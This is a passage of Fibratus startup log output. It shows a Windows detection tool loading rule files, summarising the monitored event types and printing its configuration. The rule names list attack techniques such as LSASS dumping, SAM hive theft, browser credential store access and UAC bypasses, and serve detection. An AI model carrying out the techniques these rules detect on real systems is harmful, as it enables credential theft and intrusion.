C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T11:28:53+01:00 level=info msg=bootstrapping with pid 8068. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T11:28:54+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true enabled=>false to=>[] port=>25 content-type=>text/html] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ flush-interval=>1s min-buffers=>16 enable-handle=>false enable-net=>true buffer-size=>512 enable-registry=>true enable-vamap=>true enable-threadpool=>false enable-audit-api=>true max-buffers=>36 enable-image=>true enable-thread=>true enable-dns=>false stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text level=>info max-age=>0 log-stdout=>true max-backups=>15 max-size=>100] + output ......................... [ eventlog=>[ enabled=>false level=>info] http=>[ tls-insecure-skip-verify=>false method=>POST enable-gzip=>false timeout=>5s serializer=>json enabled=>false endpoints=>[]] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ trace-log=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-timeout=>5s flush-period=>1s enabled=>false index-name=>fibratus healthcheck-interval=>10s sniff=>false bulk-workers=>1 healthcheck=>true timeout=>5s gzip-compression=>false] amqp=>[ url=>amqp://localhost:5672 tls-insecure-skip-verify=>false timeout=>5s passive=>false vhost=>/ exchange=>fibratus routing-key=>fibratus exchange-type=>topic enabled=>false durable=>false delivery-mode=>transient]] + pe ............................. [ read-sections=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-mmaps=>false scan-timeout=>10s excluded-procs=>[] excluded-files=>[] fastscan=>true skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false enabled=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T11:28:54+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:28:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:29:12+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:29:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T11:29:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 